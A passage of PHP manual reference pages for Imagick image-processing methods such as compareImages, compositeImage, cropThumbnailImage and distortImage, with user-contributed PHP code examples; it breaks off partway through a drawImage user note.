Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Adds a comment to your image

  • « Imagick::combineImages
  • Imagick::compareImageChannels »
  • PHP Manual
  • Imagick
  • Adds a comment to your image

Imagick::commentImage

(PECL imagick 2.0.0)

Imagick::commentImage — Adds a comment to your image

Description

bool Imagick::commentImage ( string $comment )

Adds a comment to your image.

Parameters

comment

The comment to add

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::commentImage():

Commenting an image and retrieving the comment:

<?php

/* Create new Imagick object */
$im = new imagick();

/* Create an empty image */
$im->newImage(100, 100, new ImagickPixel("red"));

/* Add comment to the image */
$im->commentImage("Hello World!");

/* Display the comment */
echo $im->getImageProperty("comment");

?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the difference in one or more images

  • « Imagick::commentImage
  • Imagick::compareImageLayers »
  • PHP Manual
  • Imagick
  • Returns the difference in one or more images

Imagick::compareImageChannels

(PECL imagick 2.0.0)

Imagick::compareImageChannels — Returns the difference in one or more images

Description

array Imagick::compareImageChannels ( Imagick $image , int $channelType , int $metricType )

Compares one or more images and returns the difference image.

Parameters

image

Imagick object containing the image to compare.

channelType

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

metricType

One of the metric type constants.

Return Values

Array consisting of new_wand and distortion.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum bounding region between images

  • « Imagick::compareImageChannels
  • Imagick::compareImages »
  • PHP Manual
  • Imagick
  • Returns the maximum bounding region between images

Imagick::compareImageLayers

(PECL imagick 2.0.0)

Imagick::compareImageLayers — Returns the maximum bounding region between images

Description

Imagick Imagick::compareImageLayers ( int $method )

Compares each image with the next in a sequence and returns the maximum bounding region of any pixel differences it discovers. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

method

One of the layer method constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::compareImageLayers()

Comparing image layers

<?php
/* create new imagick object */
$im = new Imagick("test.gif");

/* optimize the image layers */
$result = $im->compareImageLayers(imagick::LAYERMETHOD_COALESCE);

/* work on the $result */
?>

See Also

  • Imagick::optimizeImageLayers() - Removes repeated portions of images to optimize
  • Imagick::writeImages() - Writes an image or image sequence
  • Imagick::writeImage() - Writes an image to the specified filename

User Contributed Notes

There are no user contributed notes for this page.


Compares an image to a reconstructed image

  • « Imagick::compareImageLayers
  • Imagick::compositeImage »
  • PHP Manual
  • Imagick
  • Compares an image to a reconstructed image

Imagick::compareImages

(PECL imagick 2.0.0)

Imagick::compareImages — Compares an image to a reconstructed image

Description

array Imagick::compareImages ( Imagick $compare , int $metric )

Returns an array containing a reconstructed image and the difference between images.

Parameters

compare

An image to compare to.

metric

Provide a valid metric type constant. Refer to this list of metric constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::compareImages():

Compare images and display the reconstructed image

<?php

$image1 = new imagick("image1.png");
$image2 = new imagick("image2.png");

$result = $image1->compareImages($image2, Imagick::METRIC_MEANSQUAREERROR);
$result[0]->setImageFormat("png");

header("Content-Type: image/png");
echo $result[0];

?>

User Contributed Notes

info at celeste-design dot de 12-Aug-2014 11:58
If you get the following non-descriptive error message:

Uncaught exception 'ImagickException' with message 'Compare images failed'

Check your picture dimensions! i compared a 21x20 png to a 20x20 png which resulted in that error. Took me forever to figure out that the dimensions have to be exactly the same.
Tim K and Sam M @netflix 02-May-2014 03:09
The *Absolute Error* metric is not listed as an available metric constant. However, you can still use it if needed by passing the internal constant definition for AE which is 1. This is useful when you wish to compare using a desired fuzz factor. Example:

<?php
// init the image objects
$image1 = new imagick();
$image2 = new imagick();

// set the fuzz factor (must be done BEFORE reading in the images)
$image1->SetOption('fuzz', '2%');

// read in the images
$image1->readImage("php_step29_actual.png");
$image2->readImage("php_step29_correct.png");

// compare the images using METRIC=1 (Absolute Error)
$result = $image1->compareImages($image2, 1);

// print out the result
echo "The image comparison 2% Fuzz factor is: " . $result[1];
?>


Composite one image onto another

  • « Imagick::compareImages
  • Imagick::__construct »
  • PHP Manual
  • Imagick
  • Composite one image onto another

Imagick::compositeImage

(PECL imagick 2.0.0)

Imagick::compositeImage — Composite one image onto another

Description

bool Imagick::compositeImage ( Imagick $composite_object , int $composite , int $x , int $y [, int $channel = Imagick::CHANNEL_ALL ] )

Composite one image onto another at the specified offset.

Parameters

composite_object

Imagick object which holds the composite image

compose

Composite operator. See Composite Operator Constants

x

The column offset of the composited image

y

The row offset of the composited image

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

User Contributed Notes

Iddles 06-Jul-2011 07:01
To copy the alpha channel from one image to another, you can do the following:

<?php

$img1 = new Imagick( "image1.png" );
$img2 = new Imagick( "image2.png" );

$img1->compositeImage( $img2, imagick::COMPOSITE_COPYOPACITY, 0, 0 );

header('Content-type: image/png');
echo $img1;

?>
giso at connectholland dot nl 20-Jan-2010 05:30
You might need to set the colorspace the same when composing two images over each other

<?php
//Creating two Imagick object
$first = new Imagick('first.jpg');
$second = new Imagick('second.jpg');

// Set the colorspace to the same value
$first->setImageColorspace($second->getImageColorspace() );

//Second image is put on top of the first
$first->compositeImage($second, $second->getImageCompose(), 5, 5);

//new image is saved as final.jpg
$first->writeImage('final.jpg');
?>
m dot roszka at textend dot net 13-Feb-2008 03:55
Here is an example on how to compose two images into a single one. The Imagick class utilises the exception handling model introduced in PHP5 and thus we will do that as well. Let's presume, that we have a directory in our filesystem, which contains our program and the two images we want to operate on.

<?php
try
{
    // Let's check whether we can perform the magick.
    if (TRUE !== extension_loaded('imagick'))
    {
        throw new Exception('Imagick extension is not loaded.');
    }

    // This check is an alternative to the previous one.
    // Use the one that suits you better.
    if (TRUE !== class_exists('Imagick'))
    {
        throw new Exception('Imagick class does not exist.');
    }

    // Let's find out where we are.
    $dir = dirname(__FILE__);

    // Let's read the images.
    $glasses = new Imagick();
    if (FALSE === $glasses->readImage($dir . '/glasses.png'))
    {
        throw new Exception();
    }

    $face = new Imagick();
    if (FALSE === $face->readImage($dir . '/face.jpg'))
    {
        throw new Exception();
    }

    // Let's put the glasses on (10 pixels from left, 20 pixels from top of face).
    $face->compositeImage($glasses, Imagick::COMPOSITE_DEFAULT, 10, 20);

    // Let's merge all layers (it is not mandatory).
    $face->flattenImages();

    // We do not want to overwrite face.jpg.
    $face->setImageFileName($dir . '/face_and_glasses.jpg');

    // Let's write the image.
    if  (FALSE == $face->writeImage())
    {
        throw new Exception();
    }
}

catch (Exception $e)
{
    echo 'Caught exception: ' . $e->getMessage() . "\n";
}

exit(0);
?>
Also a couple more words on the Imagick::COMPOSITE_DEFAULT argument. The images we are composing together are separate layers. Not only can we put them in specific order, but we can also choose the way we want them to interfere with each other. And here comes the second argument of the compositeImage method. It can be given either as a constant or as the integer value of that constant. You can use the reflection API of PHP5 to get the list of them.

<?php
Reflection::export(new ReflectionClass('Imagick'));
?>

Just look for COMPOSITE_* constants in the "Constants" section.


The Imagick constructor

  • « Imagick::compositeImage
  • Imagick::contrastImage »
  • PHP Manual
  • Imagick
  • The Imagick constructor

Imagick::__construct

(PECL imagick 2.0.0)

Imagick::__construct — The Imagick constructor

Description

Imagick::__construct ( mixed $files )

Creates an Imagick instance for a specified image or set of images.

Parameters

files

The path to an image to load or an array of paths. Paths can include wildcards for file names, or can be URLs.

Return Values

Returns a new Imagick object on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Jerome 04-Dec-2013 08:05
you can use PDF page as image. To do that, install ghostscript libraries.
IMagick use ghostscript to read PDF page.

<?php
$myurl = '/pdf/mypdf.pdf';
$image = new Imagick(realpath($myurl).'[0]'); //[0] indicate the number of the wanted page
$image->setResolution( 300, 300 );
$image->setImageFormat( "png" );
$image->writeImage(realpath('./mypdf.png'));
?>
andyearnshaw at do-not-spam-mygmail dot com 13-Mar-2013 07:13
If you try and load an ICO file whose extension isn't .ico, you'll get an error going along the lines of no delegate existing for the supplied image's format.  The can occur, for example, if you're using a temporary file.

<?php
$tmp = tempnam('cache/images', 'ico_');

if (copy('http://remote.url/favicon.ico', $tmp)) {
    $ico = new Imagick($tmp);  // <-- ERROR!
}
?>

Your first thought might be to rename your temporary file's extension to .ico, but I decided to try something that works on the command line―prefix the file name with 'ico:'

<?php
$tmp = tempnam('cache/images', 'ico_');

if (copy('http://remote.url/favicon.ico', $tmp)) {
    $ico = new Imagick("ico:$tmp");  // <-- Works great!
}
?>
martin at lks dot com 24-May-2012 01:29
If you are using windows imagemagick, at leat in my case, you have to include the full path of the file, including the 'c:' at the beginning. If you don't know for sure the way that the filename is going to come, you can use realpath() function to normalize it:

<?php
    $incoming_file = '/Users/John/Desktop/file_loco.jpg';
    $img = new Imagick(realpath($incoming_file));
    // realpath() will convert '/Users/John/Desktop/file_loco.jpg' to 'C:\Users\John\Desktop\file_loco.jpg'
    // and ImageMagick will have no trouble when loading
?>


Change the contrast of the image

  • « Imagick::__construct
  • Imagick::contrastStretchImage »
  • PHP Manual
  • Imagick
  • Change the contrast of the image

Imagick::contrastImage

(PECL imagick 2.0.0)

Imagick::contrastImage — Change the contrast of the image

Description

bool Imagick::contrastImage ( bool $sharpen )

Enhances the intensity differences between the lighter and darker elements of the image. Set sharpen to a value other than 0 to increase the image contrast otherwise the contrast is reduced.

Parameters

sharpen

The sharpen value

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

xyking 16-Apr-2010 05:14
Tip:
<?php
$image->contrastImage(1); //Increase contrast once
$image->contrastImage(1); //Increase contrast more
$image->contrastImage(1); //Increase contrast even more

$image->contrastImage(0); //Decrease contrast once
$image->contrastImage(0); //Decrease contrast more
$image->contrastImage(0); //Decrease contrast even more

//This could be made into a function like this:
public function contrast($level) {
        $level = (int)$level;
        if ($level < -10) {
            $level = -10;
        } else if ($level > 10) {
            $level = 10;
        }
        if ($level > 0) {
            for ($i = 0; $i < $level; $i++) {
                $this->image->contrastImage(1);
            }
        } else if ($level < 0) {
            for ($i = $level; $i > 0; $i--) {
                $this->image->contrastImage(0);
            }
        }
    }
?>


Enhances the contrast of a color image

  • « Imagick::contrastImage
  • Imagick::convolveImage »
  • PHP Manual
  • Imagick
  • Enhances the contrast of a color image

Imagick::contrastStretchImage

(PECL imagick 2.0.0)

Imagick::contrastStretchImage — Enhances the contrast of a color image

Description

bool Imagick::contrastStretchImage ( float $black_point , float $white_point [, int $channel = Imagick::CHANNEL_ALL ] )

Enhances the contrast of a color image by adjusting the pixels color to span the entire range of colors available. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

black_point

The black point.

white_point

The white point.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Imagick::CHANNEL_ALL. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

User Contributed Notes

SkepticaLee 11-Jun-2014 07:22
The black and white points refer to the absolute number of pixels. In the following example a coloured image is first desaturated (turned into a grey scale image) and then the darkest 90% of pixels are turned black, the brightest 5% are made white, and those between 90% and 95% are grey-scaled:

<?php
$im = new Imagick ("some_image.jpg");
list ($width, $height) = array_values ($im->getImageGeometry ());
$im->modulateImage (100, 0, 100);
$im->contrastStretchImage ($width * $height * 0.90, $width * $height * 0.95);
$im->writeImage ("temp.jpg");
echo "<img src=\"temp.jpg\">";
?>
SkepticaLee 22-Feb-2014 03:47
Trying to figure out what values the black and white points can have and what their effects are nearly drove me around the bend. However, this works:

<?php
$width = 480;
$height = 360;
$mask = new Imagick ();
$mask->newImage ($width, $height, "black");
$draw = new ImagickDraw ();
$draw->setFillColor ("white");
$draw->ellipse ($width / 2, $height / 2, $width * 5 / 12, $height * 5 / 12, 0, 360);
$mask->drawImage ($draw);
$mask->blurImage (0, 50);
$mask->contrastStretchImage (10, 125000);
$mask->writeImage ("mask.png");
?>

The result will be a vignette mask with the pixels in the corner being pure black, and the ones in the middle pure white (which is not the case if the line is commented out). Reducing the white value to, say, 100, turns most of the grey pixels white.


Applies a custom convolution kernel to the image

  • « Imagick::contrastStretchImage
  • Imagick::cropImage »
  • PHP Manual
  • Imagick
  • Applies a custom convolution kernel to the image

Imagick::convolveImage

(PECL imagick 2.0.0)

Imagick::convolveImage — Applies a custom convolution kernel to the image

Description

bool Imagick::convolveImage ( array $kernel [, int $channel = Imagick::CHANNEL_ALL ] )

Applies a custom convolution kernel to the image.

Parameters

kernel

The convolution kernel

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

peter at musicalsaw dot com 26-Sep-2013 07:22
Example of convolveImage:

<?php
// run an edge detection filter on an image
$image = new imagick( "diana.png" );
$edgeArray = array(-1,-1,-1,-1,8,-1,-1,-1,-1);
$image->convolveImage ($edgeArray);
$image->thresholdImage(1);
header('Content-type: image/png');
echo $image;
?>


Extracts a region of the image

  • « Imagick::convolveImage
  • Imagick::cropThumbnailImage »
  • PHP Manual
  • Imagick
  • Extracts a region of the image

Imagick::cropImage

(PECL imagick 2.0.0)

Imagick::cropImage — Extracts a region of the image

Description

bool Imagick::cropImage ( int $width , int $height , int $x , int $y )

Extracts a region of the image.

Parameters

width

The width of the crop

height

The height of the crop

x

The X coordinate of the cropped region's top left corner

y

The Y coordinate of the cropped region's top left corner

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

ElPadre 05-Nov-2010 05:55
Actually, the Imagick::setImagePage(0,0,0,0) is also handy with jpgs and pngs, if you plan to do any more changes on the cropped image that involves positioning and/or gravity (I created a script that does crop, face blur and watermarking in one go, and had a hell of a time determining why the blurs and the watermark text never showed up...).
Christian Dehning 09-Apr-2010 12:57
When cropping gif-images (I had no problems with jpg and png images), the canvas is not removed. Please run the following command on the cropped gif, to remove the blank space:

$im->setImagePage(0, 0, 0, 0);
vincent dot hoen at gmail dot com 02-Aug-2007 03:35
There is an easiest way to crop an image :

$picture = new Imagick('animated_gif.gif');

foreach($picture as $frame){
    $frame->cropImage($width, $height, $x, $y);
}


Creates a crop thumbnail

  • « Imagick::cropImage
  • Imagick::current »
  • PHP Manual
  • Imagick
  • Creates a crop thumbnail

Imagick::cropThumbnailImage

(PECL imagick 2.0.0)

Imagick::cropThumbnailImage — Creates a crop thumbnail

Description

bool Imagick::cropThumbnailImage ( int $width , int $height )

Creates a fixed size thumbnail by first scaling the image up or down and cropping a specified area from the center.

Parameters

width

The width of the thumbnail

height

The Height of the thumbnail

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

sonsandsons at gmail dot com 30-Nov-2011 07:01
It's worth noting that using cropThumbnailImage can appear to give undesired results if you're using .gif image formats. If you are using .gif's, you'll need to compliment this function with a removal of the canvas.

<?php

//instantiate the image magick class
$image = new Imagick($image_path);

//crop and resize the image
$image->cropThumbnailImage(100,100);

//remove the canvas
$image->setImagePage(0, 0, 0, 0);

?>
martijn at elicit dot nl 03-Jun-2010 02:57
In my opinion this function is not working as expected, tested for imagemagick version 6.3.7

As described above, the function returns an image with a fixed height and a variable width. Here's a fix that will return a cropped thumbnail with the defined dimensions, without variations in the dimensions.

<?php
// define widescreen dimensions
$width = 160;
$height = 90;

// load an image
$i = new Imagick("your image file");
// get the current image dimensions
$geo = $i->getImageGeometry();

// crop the image
if(($geo['width']/$width) < ($geo['height']/$height))
{
    $i->cropImage($geo['width'], floor($height*$geo['width']/$width), 0, (($geo['height']-($height*$geo['width']/$width))/2));
}
else
{
    $i->cropImage(ceil($width*$geo['height']/$height), $geo['height'], (($geo['width']-($width*$geo['height']/$height))/2), 0);
}
// thumbnail the image
$i->ThumbnailImage($width,$height,true);

// save or show or whatever the image
$i->setImageFormat("png");
header("Content-Type: image/png");
exit($i);
?>
benford at bluhelix dot com 11-Jun-2009 11:14
I found a relevant posting complete with demo code at this site:
http://valokuva.org/?p=8

Sample code goes like this:
<?php
/* Read the image */
$im = new imagick( "test.png" );
/* create the thumbnail */
$im->cropThumbnailImage( 80, 80 );
/* Write to a file */
$im->writeImage( "th_80x80_test.png" );
?>

This is a specialization of the cropImage method. At a high level, this method will create a thumbnail of a given image, with the thumbnail sized at ($width, $height).

If the thumbnail does not match the aspect ratio of the source image, this is the method to use. The thumbnail will capture the entire image on the shorter edge of the source image (ie, vertical size on a landscape image). Then the thumbnail will be scaled down to meet your target height, while preserving the aspect ratio. Extra horizontal space that does not fit within the target $width will be cropped off evenly left and right.

As a result, the thumbnail is usually a good representation of the source image.
domenechs1 at yahoo dot es 03-Mar-2008 06:06
$image = new Imagick($path."test1.jpg");

$image->cropThumbnailImage(160,120); // Crop image and thumb

$image->writeImage($path."test1.jpg");


Returns a reference to the current Imagick object

  • « Imagick::cropThumbnailImage
  • Imagick::cycleColormapImage »
  • PHP Manual
  • Imagick
  • Returns a reference to the current Imagick object

Imagick::current

(PECL imagick 2.0.0)

Imagick::current — Returns a reference to the current Imagick object

Description

Imagick Imagick::current ( void )

Returns reference to the current imagick object with image pointer at the correct sequence.

Return Values

Returns self on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Displaces an image's colormap

  • « Imagick::current
  • Imagick::decipherImage »
  • PHP Manual
  • Imagick
  • Displaces an image's colormap

Imagick::cycleColormapImage

(PECL imagick 2.0.0)

Imagick::cycleColormapImage — Displaces an image's colormap

Description

bool Imagick::cycleColormapImage ( int $displace )

Displaces an image's colormap by a given number of positions. If you cycle the colormap a number of times you can produce a psychedelic effect.

Parameters

displace

The amount to displace the colormap.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Deciphers an image

  • « Imagick::cycleColormapImage
  • Imagick::deconstructImages »
  • PHP Manual
  • Imagick
  • Deciphers an image

Imagick::decipherImage

(No version information available, might only be in Git)

Imagick::decipherImage — Deciphers an image

Description

bool Imagick::decipherImage ( string $passphrase )

Deciphers image that has been enciphered before. The image must be enciphered using Imagick::encipherImage(). This method is available if Imagick has been compiled against ImageMagick version 6.3.9 or newer.

Parameters

passphrase

The passphrase

Return Values

Returns TRUE on success.

See Also

  • Imagick::encipherImage() - Enciphers an image

User Contributed Notes

There are no user contributed notes for this page.


Returns certain pixel differences between images

  • « Imagick::decipherImage
  • Imagick::deleteImageArtifact »
  • PHP Manual
  • Imagick
  • Returns certain pixel differences between images

Imagick::deconstructImages

(PECL imagick 2.0.0)

Imagick::deconstructImages — Returns certain pixel differences between images

Description

Imagick Imagick::deconstructImages ( void )

Compares each image with the next in a sequence and returns the maximum bounding region of any pixel differences it discovers.

Return Values

Returns a new Imagick object on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Delete image artifact

  • « Imagick::deconstructImages
  • Imagick::deskewImage »
  • PHP Manual
  • Imagick
  • Delete image artifact

Imagick::deleteImageArtifact

(No version information available, might only be in Git)

Imagick::deleteImageArtifact — Delete image artifact

Description

bool Imagick::deleteImageArtifact ( string $artifact )

Deletes an artifact associated with the image. The difference between image properties and image artifacts is that properties are public and artifacts are private. This method is available if Imagick has been compiled against ImageMagick version 6.5.7 or newer.

Parameters

artifact

The name of the artifact to delete

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::setImageArtifact() - Set image artifact
  • Imagick::getImageArtifact() - Get image artifact

User Contributed Notes

There are no user contributed notes for this page.


Removes skew from the image

  • « Imagick::deleteImageArtifact
  • Imagick::despeckleImage »
  • PHP Manual
  • Imagick
  • Removes skew from the image

Imagick::deskewImage

(No version information available, might only be in Git)

Imagick::deskewImage — Removes skew from the image

Description

public bool Imagick::deskewImage ( float $threshold )

This method can be used to remove skew from for example scanned images where the paper was not properly placed on the scanning surface. This method is available if Imagick has been compiled against ImageMagick version 6.4.5 or newer.

Parameters

threshold

Deskew threshold

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Reduces the speckle noise in an image

  • « Imagick::deskewImage
  • Imagick::destroy »
  • PHP Manual
  • Imagick
  • Reduces the speckle noise in an image

Imagick::despeckleImage

(PECL imagick 2.0.0)

Imagick::despeckleImage — Reduces the speckle noise in an image

Description

bool Imagick::despeckleImage ( void )

Reduces the speckle noise in an image while preserving the edges of the original image.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Destroys the Imagick object

  • « Imagick::despeckleImage
  • Imagick::displayImage »
  • PHP Manual
  • Imagick
  • Destroys the Imagick object

Imagick::destroy

(PECL imagick 2.0.0)

Imagick::destroy — Destroys the Imagick object

Description

bool Imagick::destroy ( void )

Destroys the Imagick object and frees all resources associated with it. This method is deprecated in favour of Imagick::clear.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Displays an image

  • « Imagick::destroy
  • Imagick::displayImages »
  • PHP Manual
  • Imagick
  • Displays an image

Imagick::displayImage

(PECL imagick 2.0.0)

Imagick::displayImage — Displays an image

Description

bool Imagick::displayImage ( string $servername )

This method displays an image on a X server.

Parameters

servername

The X server name

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Displays an image or image sequence

  • « Imagick::displayImage
  • Imagick::distortImage »
  • PHP Manual
  • Imagick
  • Displays an image or image sequence

Imagick::displayImages

(PECL imagick 2.0.0)

Imagick::displayImages — Displays an image or image sequence

Description

bool Imagick::displayImages ( string $servername )

Displays an image or image sequence on a X server.

Parameters

servername

The X server name

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Distorts an image using various distortion methods

  • « Imagick::displayImages
  • Imagick::drawImage »
  • PHP Manual
  • Imagick
  • Distorts an image using various distortion methods

Imagick::distortImage

(PECL imagick 2.0.1)

Imagick::distortImage — Distorts an image using various distortion methods

Description

bool Imagick::distortImage ( int $method , array $arguments , bool $bestfit )

Distorts an image using various distortion methods, by mapping color lookups of the source image to a new destination image usually of the same size as the source image, unless 'bestfit' is set to TRUE.

If 'bestfit' is enabled, and distortion allows it, the destination image is adjusted to ensure the whole source 'image' will just fit within the final destination image, which will be sized and offset accordingly. Also in many cases the virtual offset of the source image will be taken into account in the mapping.

This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

method

The method of image distortion. See distortion constants

arguments

The arguments for this distortion method

bestfit

Attempt to resize destination to fit distorted source

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::distortImage():

Distort an image and display to the browser.

<?php
/* Create new object */
$im = new Imagick();

/* Create new checkerboard pattern */
$im->newPseudoImage(100, 100, "pattern:checkerboard");

/* Set the image format to png */
$im->setImageFormat('png');

/* Fill new visible areas with transparent */
$im->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);

/* Activate matte */
$im->setImageMatte(true);

/* Control points for the distortion */
$controlPoints = array( 10, 10,
                        10, 5,

                        10, $im->getImageHeight() - 20,
                        10, $im->getImageHeight() - 5,

                        $im->getImageWidth() - 10, 10,
                        $im->getImageWidth() - 10, 20,

                        $im->getImageWidth() - 10, $im->getImageHeight() - 10,
                        $im->getImageWidth() - 10, $im->getImageHeight() - 30);

/* Perform the distortion */
$im->distortImage(Imagick::DISTORTION_PERSPECTIVE, $controlPoints, true);

/* Ouput the image */
header("Content-Type: image/png");
echo $im;
?>

The above example will output something similar to:

Output of example : Using Imagick::distortImage()

See Also

  • Imagick::blurImage() - Adds blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

DJ Mike 12-Apr-2011 08:11
Affine

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25,
               100,0, 100,50
               );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage(  Imagick::DISTORTION_AFFINE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Affine Projection

<?php
$image = new imagick( "opossum.jpg" );
$points = array( 0.9,0.3,
                -0.2,0.7,
                 20,15 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_AFFINEPROJECTION, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Arc

<?php
$image = new imagick( "opossum.jpg" );
$draw = new imagickdraw();
$degrees = array( 180 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_ARC, $degrees, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Rotated Arc

<?php
$image = new imagick( "opossum.jpg" );
$draw = new imagickdraw();
$degrees = array( 180, 45, 100, 20 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_ARC, $degrees, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Bilinear

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25, # top left
                176,0, 126,0, # top right
                0,135, 0,105, # bottom right
                176,135, 176,135 # bottum left
                );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_BILINEAR, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Perspective

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25, # top left
                176,0, 126,0, # top right
                0,135, 0,105, # bottom right
                176,135, 176,135 # bottum left
                );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_PERSPECTIVE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Scale Rotate Translate

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                 1.5, # scale 150%
                 150 # rotate
               );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( imagick::DISTORTION_SCALEROTATETRANSLATE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>
ashokmca.g at gmail dot com 04-Feb-2011 11:13
Slide image with shadow using distortImage

<?php

$slideValue = 150;

// Create new object
$im = new Imagick("grnhrs.jpg");

// Resize
$im->thumbnailImage(500,400);

// Set the image format to png
$im->setImageFormat('png');

//Clone the current object
$shadow = $im->clone();

//Set image background color to black (this is the color of the shadow)
$shadow->setImageBackgroundColor( new ImagickPixel( 'black' ) );

 //Create the shadow
$shadow->shadowImage( 80, 10, 5, 5 );

// Fill background area with transparent for image
//VIRTUALPIXELMETHOD_TRANSPARENT
$im->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_ TRANSPARENT);

// Activate matte
$im->setImageMatte(true);

//Control points for the distortion
$controlPoints = array( 0, 0,
                        $slideValue, 0,

                        0, $im->getImageHeight(),
                        0, $im->getImageHeight(),

                        $im->getImageWidth(), 0,
                        $im->getImageWidth(), 0,

                        $im->getImageWidth(), $im->getImageHeight(),
                        $im->getImageWidth()-$slideValue, $im->getImageHeight());

// Perform the distortion
$im->distortImage(Imagick::DISTORTION_PERSPECTIVEPROJECTION, $controlPoints, true);

// Perform the distortion in shadow image
$shadow->distortImage(Imagick::DISTORTION_PERSPECTIVEPROJECTION, $controlPoints, true);

// Imagick::shadowImage only creates the shadow.
// That is why the original image is composited over it
$shadow->compositeImage( $im, Imagick::COMPOSITE_OVER, 0, 0 );

/* Ouput the image */
header("Content-Type: image/png");
echo $shadow;

?>


Renders the ImagickDraw object on the current image

  • « Imagick::distortImage
  • Imagick::edgeImage »
  • PHP Manual
  • Imagick
  • Renders the ImagickDraw object on the current image

Imagick::drawImage

(PECL imagick 2.0.0)

Imagick::drawImage — Renders the ImagickDraw object on the current image

Description

bool Imagick::drawImage ( ImagickDraw $draw )

Renders the ImagickDraw object on the current image.

Parameters

draw

The drawing operations to render on the image.

Return Values

Returns TRUE on success.

User Contributed Notes

blah at blub dot com 24-Aug-2009 03:21
If your imagick lib begins to say: "Non-conforming drawing primitive...", it could be that your locale are not correctly set. please locate all your setlocale and kill them temporary so you could check it that would solve the problem.
sualk at lednew dot de 30-Sep-2008 01:34
the ImagickDraw (v 2.2.0) seems to disharmonise with PHP-GTK2 (v 2.0.1).

The rendering of an ImagickDraw object on the current image fails (resp. results in a flat image without drawings), if php_gtk2.so is loaded.

Code to reproduce the failure:

#!/usr/bin/php5
<?php
dl("php_gtk2.so"); // comment this for a second try

$string = "Hello world!";

$im = new Imagick();
$draw = new ImagickDraw();

$draw->setFillColor(new ImagickPixel('blue'));

$draw->setFontSize(28);

$metrix = $im->queryFontMetrics($draw, $string);

$draw->annotation(0,25,$string);

